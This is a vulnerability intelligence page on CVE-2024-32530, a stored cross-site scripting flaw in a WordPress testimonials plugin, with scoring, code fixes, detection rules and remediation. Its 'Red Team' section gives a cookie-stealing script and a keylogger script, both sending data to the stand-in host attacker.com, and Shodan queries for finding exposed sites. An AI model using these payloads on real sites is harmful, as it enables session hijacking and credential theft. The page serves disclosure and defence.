☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Presstigers logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-32530

CVE-2024-32530 Cross-Site Scripting in Presstigers
📅 PUBLISHED: 2024-04-17 09:32 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.17%
👁️
0.17% probability
4.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-32530 is a Stored Cross-Site Scripting (XSS) vulnerability in the PressTigers Simple Testimonials Showcase plugin for WordPress, affecting versions through 1.1.5. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into testimonial entries. When an administrator or other user views the affected testimonial, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability arises from improper neutralization of user-supplied input during web page generation. As a WordPress plugin issue, the attack surface is limited to sites running the vulnerable plugin, but the impact is amplified by the trust placed in user-generated content.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. The supply chain risk is moderate: the plugin is not an NPM, PyPI, Go, or Ruby package, but it is a third-party component within the WordPress ecosystem. Users must rely on the plugin author for patches. No official patch has been released as of the latest analysis, increasing the risk of exploitation in unmaintained installations.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 6.5 (Medium)
  • Attack Vector (AV): Network – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low – No special conditions are required.
  • Privileges Required (PR): High – An attacker needs contributor-level access or higher.
  • User Interaction (UI): Required – The victim must view the malicious testimonial.
  • Scope (S): Changed – The vulnerability can impact resources beyond the vulnerable component.
  • Confidentiality (C): Low – Limited data exposure possible.
  • Integrity (I): Low – Limited ability to modify content.
  • Availability (A): Low – Limited ability to disrupt service.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the potential for stored XSS in a widely-used plugin makes it a significant threat for WordPress sites with multiple user roles.

Deep Dive & Mechanics

The Simple Testimonials Showcase plugin allows users to submit testimonials via a front-end form or through the WordPress admin panel. The vulnerability exists in the testimonial submission and display process. When a user submits a testimonial, the plugin fails to properly sanitize or escape the input fields (e.g., the testimonial content, author name, or other metadata). This allows an attacker to inject malicious JavaScript code into these fields.

The injected script is stored in the WordPress database and executed when the testimonial is rendered on the front-end or back-end. The attack flow is as follows:

  1. Privilege Escalation: An attacker with contributor-level access (or higher) logs into the WordPress admin panel.
  2. Injection: The attacker creates or edits a testimonial, inserting a malicious payload into a text field, such as:
    <script>alert('XSS')</script>
    
  3. Storage: The plugin saves the testimonial to the database without proper sanitization.
  4. Trigger: An administrator or other user views the testimonial list or the testimonial on the front-end.
  5. Execution: The injected script executes in the victim's browser, potentially stealing cookies, redirecting to malicious sites, or performing actions on behalf of the victim.

The vulnerability is classified as Stored XSS (CWE-79) because the malicious script is permanently stored on the server and served to users without proper escaping.

Vulnerable vs. Patched Code

The vulnerable code likely resides in the plugin's testimonial submission handler. A typical vulnerable pattern might look like:

// Vulnerable code (simplified)
function save_testimonial($data) {
    global $wpdb;
    $wpdb->insert(
        $wpdb->prefix . 'testimonials',
        array(
            'content' => $data['content'], // No sanitization
            'author'  => $data['author']   // No sanitization
        )
    );
}

A patched version would use WordPress's built-in sanitization functions:

// Patched code (simplified)
function save_testimonial($data) {
    global $wpdb;
    $wpdb->insert(
        $wpdb->prefix . 'testimonials',
        array(
            'content' => sanitize_textarea_field($data['content']),
            'author'  => sanitize_text_field($data['author'])
        )
    );
}

Additionally, when displaying testimonials, the plugin should use esc_html() or wp_kses() to escape output. Without a patch, users must rely on manual sanitization or a Web Application Firewall (WAF).

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A WordPress site with the Simple Testimonials Showcase plugin version 1.1.5 or earlier.
  • An account with contributor-level privileges or higher.

Exploitation Steps:

  1. Login to the WordPress admin panel as a contributor.
  2. Navigate to Testimonials > Add New.
  3. Inject a malicious payload into the testimonial content field. For example:
    <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
    
  4. Publish the testimonial.
  5. Wait for an administrator to view the testimonial list or the front-end page.
  6. Capture the administrator's session cookie when the script executes.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'https://attacker.com/log.php');
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send('key=' + e.key);
}
</script>

Blue Team

Detection Steps:

  1. Monitor for unusual testimonial submissions containing script tags or event handlers.
  2. Review WordPress logs for suspicious POST requests to wp-admin/admin-ajax.php or testimonial submission endpoints.
  3. Inspect the database for stored XSS payloads in the wp_testimonials table (or similar).
  4. Use a Web Application Firewall (WAF) to block common XSS patterns.

Lab Setup:

  • Environment: Docker-based WordPress instance with the vulnerable plugin.
  • Tools: Burp Suite, OWASP ZAP, or a simple browser with developer tools.
  • Steps:
    1. Deploy WordPress with the plugin.
    2. Create a contributor account.
    3. Submit a testimonial with a benign XSS payload (e.g., <script>alert('XSS')</script>).
    4. Verify the payload executes when viewed by an admin.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • Outbound HTTP requests to known malicious domains or IP addresses from the WordPress server.
    • Unusual POST requests to wp-admin/admin-ajax.php with parameters containing script tags.
  • Host IOCs:

    • Presence of <script> tags or event handlers (e.g., onload, onerror) in the wp_testimonials database table.
    • Modified or new files in the wp-content/uploads/ directory (if file upload is involved).
    • Unexpected entries in the WordPress wp_options table (e.g., malicious redirects).
  • File IOCs:

    • Log files showing repeated access to testimonial pages from the same IP.
    • Suspicious entries in the web server access log (e.g., GET /testimonial/... with encoded payloads).

Detection Engineering

YARA Rule

rule CVE_2024_32530_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Simple Testimonials Showcase plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-32530"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*["'][^"']*["']/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Simple Testimonials Showcase
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via testimonial submission
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-32530
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: 'wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=testimonial_submit'
        cs-uri-query|contains|re: '(<script|on\w+=|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in testimonials (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-32530 Stored XSS in Simple Testimonials Showcase"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=testimonial_submit"; http_client_body; pcre:"/(<script|on\w+=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Simple Testimonials Showcase plugin until a patch is available.
  2. Review all existing testimonials for malicious content and remove any suspicious entries.
  3. Implement a Web Application Firewall (WAF) rule to block common XSS patterns.

Long-Term Fixes:

  1. Apply the official patch from PressTigers when released.
  2. Upgrade to a patched version (currently unknown).
  3. Use WordPress security plugins (e.g., Wordfence) that include XSS protection.
  4. Enforce strict user role permissions to limit who can submit testimonials.

Workarounds:

  • Custom Code: Add a filter to sanitize testimonial input before saving:
    add_filter('testimonial_save_data', function($data) {
        $data['content'] = sanitize_textarea_field($data['content']);
        $data['author'] = sanitize_text_field($data['author']);
        return $data;
    });
    
  • Output Escaping: Modify the plugin's template files to use esc_html() when displaying testimonial content.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/simple-testimonials-showcase"
http.html:"simple-testimonials-showcase"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-32530/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.